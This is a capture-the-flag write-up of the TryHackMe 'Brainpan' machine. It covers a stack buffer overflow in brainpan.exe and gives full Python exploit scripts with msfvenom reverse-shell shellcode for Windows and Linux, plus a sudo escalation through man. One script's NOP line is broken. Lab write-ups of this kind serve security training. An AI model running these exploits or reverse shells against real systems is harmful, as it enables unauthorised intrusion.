CTF-Writeups/TryHackMe/Brainpan.md
2022-05-10 12:01:02 +05:00

360 lines
12 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# TryHackMe - Brainpan
## NMAP
```bash
Nmap scan report for 10.10.31.125
Host is up (0.18s latency).
Not shown: 64659 closed tcp ports (reset), 874 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
9999/tcp open abyss?
| fingerprint-strings:
| NULL:
| _| _|
| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
| _|_| _| _| _| _| _| _| _| _| _| _| _|
| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
| [________________________ WELCOME TO BRAINPAN _________________________]
|_ ENTER THE PASSWORD
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
```
From the nmap scan we can see on port 9999 it's running something and asking for input and on port 10000 it's running a python server
## PORT 10000 (HTTP)
<img src="https://i.imgur.com/UpP8KCm.png"/>
It's a simple web page, so let's fuzz for files and directories here
<img src="https://i.imgur.com/RK1barp.png"/>
This found a directory named `/bin`
<img src="https://i.imgur.com/iF97LFo.png"/>
And here it's an exe named `brainpan.exe` which must be running on port 9999, so we need to transfer this on windows machine and try to first exploit it locally
Running `file` on the exe we can see which binary this is
<img src="https://i.imgur.com/fhyzSXG.png"/>
## Spiking
After running it and trying to cause a crash in the application
<img src="https://i.imgur.com/pBRuCuv.png"/>
It is vulnerable to buffer overlflow, so now we need to use immunity debugger and perform the steps to overflow the application
## Fuzzing
Let's make script to cause a buffer overflow in the application
```python
#!/usr/bin/python
import socket
host = "192.168.0.113"
port = 9999
buffer = "A" * 1000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(1024)
s.send(buffer)
s.recv(1024)
print "[+] Buffer sent!"
s.close()
```
<img src="https://i.imgur.com/P8ILF7m.png"/>
## Finding the offset
<img src="https://i.imgur.com/LZaXpyF.png"/>
We can see the `EIP` register having the value 414141 which are just bunch of A's, we need to find exaclty where the application crashed for that we need to know the offset so we can control the EIP to go to next instruction to execute commands and in order to find that we can generate a random pattern of strings using `msf-pattern_create`
<img src="https://i.imgur.com/X4qtyAp.png"/>
Replace these strings with the A's in the script
<img src="https://i.imgur.com/WeOvnyP.png"/>
After running this script, the EIP is going to hold a different value which is `35724134`
<img src="https://i.imgur.com/nANUO8E.png"/>
Using `msf-pattern-offset` we can identify the offset by providing the EIP value
<img src="https://i.imgur.com/Cpf2GVt.png"/>
We now know that if we send the input `A * 524` it will cause an overflow, let's try to overwrite the EIP with 4 D's to see if we can control EIP with any value we want
```python
#!/usr/bin/python
import socket
host = "192.168.0.130"
port = 9999
buffer = "A" * 524 + "D" * 4
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(1024)
s.send(buffer)
s.recv(1024)
print "[+] Buffer sent!"
s.close()
```
<img src="https://i.imgur.com/kv0DxAV.png"/>
The EIP has the value `44444444` which from hex converts to DDDD
## Identifying Bad Characters
Now the next step is to identify the bad characters for that we can just copy those characters from here
https://github.com/cytopia/badchars
<Img src="https://i.imgur.com/rCQVgUb.png"/>
Run this script and the right click on `ESP` and `Follow Dump`
<img src="https://i.imgur.com/gMtgfg9.png"/>
To identify bad characters, if there's any number missing like 01 it is considered as bad character but there aren't any missing characters from the input that we just sent so no bad characters
<img src="https://i.imgur.com/GfVkdyz.png"/>
## Finding the JMP instruction
Now we need to find the jump instruction `JMP` which is telling the stack to go jump to an address, we need to find address of this instruction so that we can make the stack jump to our instruction for calling a reverse shell
For finding the jmp instruction we can use a python script called `mona`
[https://github.com/corelan/mona](https://github.com/corelan/mona)
This script can loaded by placing it in Immunitiy debugger's `PyCommands` and can be loaded with `!mona`
<img src="https://i.imgur.com/dbIvIRd.png"/>
Running `!mona jmp -r esp` we can identify the jmp instruction in the exe
<img src="https://i.imgur.com/GDvVUzr.png"/>
We get only one jmp instruction `0x311712f3`
## Getting a reverse shell
Now we need to just generate a windows 32 bit reverse shell payload
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=eth0 LPORT=2222 EXITFUNC=thread -f python -b "\x00"
```
<img src="https://i.imgur.com/0VkOqSs.png"/>
```python
#!/usr/bin/python
import socket
host = "192.168.0.139"
port = 9999
buf = b""
buf += b"\xba\x97\x93\x0e\x39\xda\xc9\xd9\x74\x24\xf4\x5f\x29"
buf += b"\xc9\xb1\x52\x31\x57\x12\x83\xef\xfc\x03\xc0\x9d\xec"
buf += b"\xcc\x12\x49\x72\x2e\xea\x8a\x13\xa6\x0f\xbb\x13\xdc"
buf += b"\x44\xec\xa3\x96\x08\x01\x4f\xfa\xb8\x92\x3d\xd3\xcf"
buf += b"\x13\x8b\x05\xfe\xa4\xa0\x76\x61\x27\xbb\xaa\x41\x16"
buf += b"\x74\xbf\x80\x5f\x69\x32\xd0\x08\xe5\xe1\xc4\x3d\xb3"
buf += b"\x39\x6f\x0d\x55\x3a\x8c\xc6\x54\x6b\x03\x5c\x0f\xab"
buf += b"\xa2\xb1\x3b\xe2\xbc\xd6\x06\xbc\x37\x2c\xfc\x3f\x91"
buf += b"\x7c\xfd\xec\xdc\xb0\x0c\xec\x19\x76\xef\x9b\x53\x84"
buf += b"\x92\x9b\xa0\xf6\x48\x29\x32\x50\x1a\x89\x9e\x60\xcf"
buf += b"\x4c\x55\x6e\xa4\x1b\x31\x73\x3b\xcf\x4a\x8f\xb0\xee"
buf += b"\x9c\x19\x82\xd4\x38\x41\x50\x74\x19\x2f\x37\x89\x79"
buf += b"\x90\xe8\x2f\xf2\x3d\xfc\x5d\x59\x2a\x31\x6c\x61\xaa"
buf += b"\x5d\xe7\x12\x98\xc2\x53\xbc\x90\x8b\x7d\x3b\xd6\xa1"
buf += b"\x3a\xd3\x29\x4a\x3b\xfa\xed\x1e\x6b\x94\xc4\x1e\xe0"
buf += b"\x64\xe8\xca\xa7\x34\x46\xa5\x07\xe4\x26\x15\xe0\xee"
buf += b"\xa8\x4a\x10\x11\x63\xe3\xbb\xe8\xe4\xcc\x94\xf2\x77"
buf += b"\xa4\xe6\xf2\x7f\x9b\x6e\x14\x15\xf3\x26\x8f\x82\x6a"
buf += b"\x63\x5b\x32\x72\xb9\x26\x74\xf8\x4e\xd7\x3b\x09\x3a"
buf += b"\xcb\xac\xf9\x71\xb1\x7b\x05\xac\xdd\xe0\x94\x2b\x1d"
buf += b"\x6e\x85\xe3\x4a\x27\x7b\xfa\x1e\xd5\x22\x54\x3c\x24"
buf += b"\xb2\x9f\x84\xf3\x07\x21\x05\x71\x33\x05\x15\x4f\xbc"
buf += b"\x01\x41\x1f\xeb\xdf\x3f\xd9\x45\xae\xe9\xb3\x3a\x78"
buf += b"\x7d\x45\x71\xbb\xfb\x4a\x5c\x4d\xe3\xfb\x09\x08\x1c"
buf += b"\x33\xde\x9c\x65\x29\x7e\x62\xbc\xe9\x9e\x81\x14\x04"
buf += b"\x37\x1c\xfd\xa5\x5a\x9f\x28\xe9\x62\x1c\xd8\x92\x90"
buf += b"\x3c\xa9\x97\xdd\xfa\x42\xea\x4e\x6f\x64\x59\x6e\xba"
buffer = "A" * 524 + "\xf3\x12\x17\x31" + buf
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(1024)
s.send(buffer)
s.recv(1024)
print "[+] Buffer sent!"
s.close()
```
If we run this we don't get a shell
<img src="https://i.imgur.com/ajvikzD.png"/>
Because we need to add a few NOPs (no operation) in our payload which can be done with `x90` ,NOP instructions simply just slide the program execution to the next memory address
```python
#!/usr/bin/python
import socket
host = "192.168.0.139"
port = 9999
buf = b""
buf += b"\xba\x97\x93\x0e\x39\xda\xc9\xd9\x74\x24\xf4\x5f\x29"
buf += b"\xc9\xb1\x52\x31\x57\x12\x83\xef\xfc\x03\xc0\x9d\xec"
buf += b"\xcc\x12\x49\x72\x2e\xea\x8a\x13\xa6\x0f\xbb\x13\xdc"
buf += b"\x44\xec\xa3\x96\x08\x01\x4f\xfa\xb8\x92\x3d\xd3\xcf"
buf += b"\x13\x8b\x05\xfe\xa4\xa0\x76\x61\x27\xbb\xaa\x41\x16"
buf += b"\x74\xbf\x80\x5f\x69\x32\xd0\x08\xe5\xe1\xc4\x3d\xb3"
buf += b"\x39\x6f\x0d\x55\x3a\x8c\xc6\x54\x6b\x03\x5c\x0f\xab"
buf += b"\xa2\xb1\x3b\xe2\xbc\xd6\x06\xbc\x37\x2c\xfc\x3f\x91"
buf += b"\x7c\xfd\xec\xdc\xb0\x0c\xec\x19\x76\xef\x9b\x53\x84"
buf += b"\x92\x9b\xa0\xf6\x48\x29\x32\x50\x1a\x89\x9e\x60\xcf"
buf += b"\x4c\x55\x6e\xa4\x1b\x31\x73\x3b\xcf\x4a\x8f\xb0\xee"
buf += b"\x9c\x19\x82\xd4\x38\x41\x50\x74\x19\x2f\x37\x89\x79"
buf += b"\x90\xe8\x2f\xf2\x3d\xfc\x5d\x59\x2a\x31\x6c\x61\xaa"
buf += b"\x5d\xe7\x12\x98\xc2\x53\xbc\x90\x8b\x7d\x3b\xd6\xa1"
buf += b"\x3a\xd3\x29\x4a\x3b\xfa\xed\x1e\x6b\x94\xc4\x1e\xe0"
buf += b"\x64\xe8\xca\xa7\x34\x46\xa5\x07\xe4\x26\x15\xe0\xee"
buf += b"\xa8\x4a\x10\x11\x63\xe3\xbb\xe8\xe4\xcc\x94\xf2\x77"
buf += b"\xa4\xe6\xf2\x7f\x9b\x6e\x14\x15\xf3\x26\x8f\x82\x6a"
buf += b"\x63\x5b\x32\x72\xb9\x26\x74\xf8\x4e\xd7\x3b\x09\x3a"
buf += b"\xcb\xac\xf9\x71\xb1\x7b\x05\xac\xdd\xe0\x94\x2b\x1d"
buf += b"\x6e\x85\xe3\x4a\x27\x7b\xfa\x1e\xd5\x22\x54\x3c\x24"
buf += b"\xb2\x9f\x84\xf3\x07\x21\x05\x71\x33\x05\x15\x4f\xbc"
buf += b"\x01\x41\x1f\xeb\xdf\x3f\xd9\x45\xae\xe9\xb3\x3a\x78"
buf += b"\x7d\x45\x71\xbb\xfb\x4a\x5c\x4d\xe3\xfb\x09\x08\x1c"
buf += b"\x33\xde\x9c\x65\x29\x7e\x62\xbc\xe9\x9e\x81\x14\x04"
buf += b"\x37\x1c\xfd\xa5\x5a\x9f\x28\xe9\x62\x1c\xd8\x92\x90"
buf += b"\x3c\xa9\x97\xdd\xfa\x42\xea\x4e\x6f\x64\x59\x6e\xba"
buffer = "A" * 524 + "\xf3\x12\x17\x31" + "x\90" + 30 + buf
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(1024)
s.send(buffer)
s.recv(1024)
print "[+] Buffer sent!"
s.close()
```
<img src="https://i.imgur.com/kFeC6Jq.png"/>
We got our reverse shell now we need to deliver this on to the actual target, for getting a shell on the target machine we just need to replace the IP address
## Foothold
<img src="https://i.imgur.com/MxDTPHj.png"/>
<img src="https://i.imgur.com/7z2PXrL.png"/>
After getting a shell, it was weird that I got a prompt saying `CMD Version 1.4.1` and there was a bash script which was executing the brainpan.exe using `wine` which tells that this is actually a linux machine running a windows exe , so we need to generate a linux reverse shell payload
<img src="https://i.imgur.com/oiMNCSI.png"/>
```bash
msfvenom -p linux/x86/shell_reverse_tcp LHOST=tun0 LPORT=2222 -f python EXITFUNC=thread -b "\x00"
```
<img src="https://i.imgur.com/e25OqC6.png"/>
```python
#!/usr/bin/python
import socket
host = "10.10.252.161"
port = 9999
buf = b""
buf += b"\xba\x5c\x45\x76\xc9\xda\xc4\xd9\x74\x24\xf4\x5e\x2b"
buf += b"\xc9\xb1\x12\x31\x56\x12\x83\xc6\x04\x03\x0a\x4b\x94"
buf += b"\x3c\x83\x88\xaf\x5c\xb0\x6d\x03\xc9\x34\xfb\x42\xbd"
buf += b"\x5e\x36\x04\x2d\xc7\x78\x3a\x9f\x77\x31\x3c\xe6\x1f"
buf += b"\xc8\xb6\x46\xe3\xa4\xc4\x76\x13\x9b\x40\x97\x93\x85"
buf += b"\x02\x09\x80\xfa\xa0\x20\xc7\x30\x26\x60\x6f\xa5\x08"
buf += b"\xf6\x07\x51\x78\xd7\xb5\xc8\x0f\xc4\x6b\x58\x99\xea"
buf += b"\x3b\x55\x54\x6c"
buffer = "A" * 524 + "\xf3\x12\x17\x31" +"\x90" * 30 + buf
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(1024)
s.send(buffer)
s.recv(1024)
print "[+] Buffer sent!"
s.close()
```
<img src="https://i.imgur.com/G4rNDM1.png"/>
Now we got a linux shell and we can stabilize it with python3. Running `sudo -l ` we can see that the user `phuck` can execute `anansi_util` as root user
<img src="https://i.imgur.com/gq6Qxaw.png"/>
## Privilege Escalation
We have 3 commands to run , `ip a` which will show network interfaces, `proclist` will run `ps` to view the proc files and `man` command will be ran through manual
<img src="https://i.imgur.com/0tMNpEC.png"/>
Here we can't exploit PATH variable as there's an `env_reset`
https://news.ycombinator.com/item?id=5306099
But there's an privesc for man command if we look at GTFOBINS
https://gtfobins.github.io/gtfobins/man/
<Img src="https://i.imgur.com/A94uOhR.png"/>
```bash
sudo /home/anansi/bin/anansi_util manual man
```
<img src="https://i.imgur.com/jBTtW7A.png"/>
<img src="https://i.imgur.com/e4Zmr73.png"/>
## References
- https://github.com/cytopia/badchars
- https://news.ycombinator.com/item?id=5306099
- https://gtfobins.github.io/gtfobins/man/